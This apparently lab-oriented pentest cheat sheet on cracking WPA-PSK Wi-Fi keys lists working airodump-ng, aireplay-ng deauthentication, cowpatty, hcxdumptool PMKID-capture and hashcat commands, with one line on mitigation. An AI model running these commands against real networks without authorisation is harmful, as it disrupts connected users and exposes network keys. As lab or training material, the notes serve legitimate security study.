WPA-PSK

WPA-PSK uses a pre-shared key (PSK) to encrypt client/SSID communications. The PSK can be extracted via deauthentication attacks against existing clients:

airodump-ng wlan0mon -c 1 -w WPA
aireplay-ng -0 5 -a [bssid] -c [client MAC] wlan0mon
cowpatty -c -r WPA-01.cap
cowpatty -r WPA-01.cap -f /opt/wordlist.txt -s HackTheBox
or aircrack

Or if you lack clients, you can attempt to extract the PMKID of vulnerable SSIDs, cracking the PSK without and client deauthentication:

Check for PMKID in SSID:
hcxdumptool -i wlan0mon --enable_status=3

Get BSSID
airodump-ng wlan0mon --essid HTBWireless

Extract PMKID and hash
hcxdumptool -i wlan0mon --enable_status=3 --filterlist_ap=E2:73:E7:F5:98:91 --filtermode=2 -o HTBPMKID.pcap
hcxpcapngtool -o hash HTBPMKID.pcap
hashcat -m 22000 --force hash /opt/wordlist.txt

To mitigate - disable fast roaming and PMKID caching.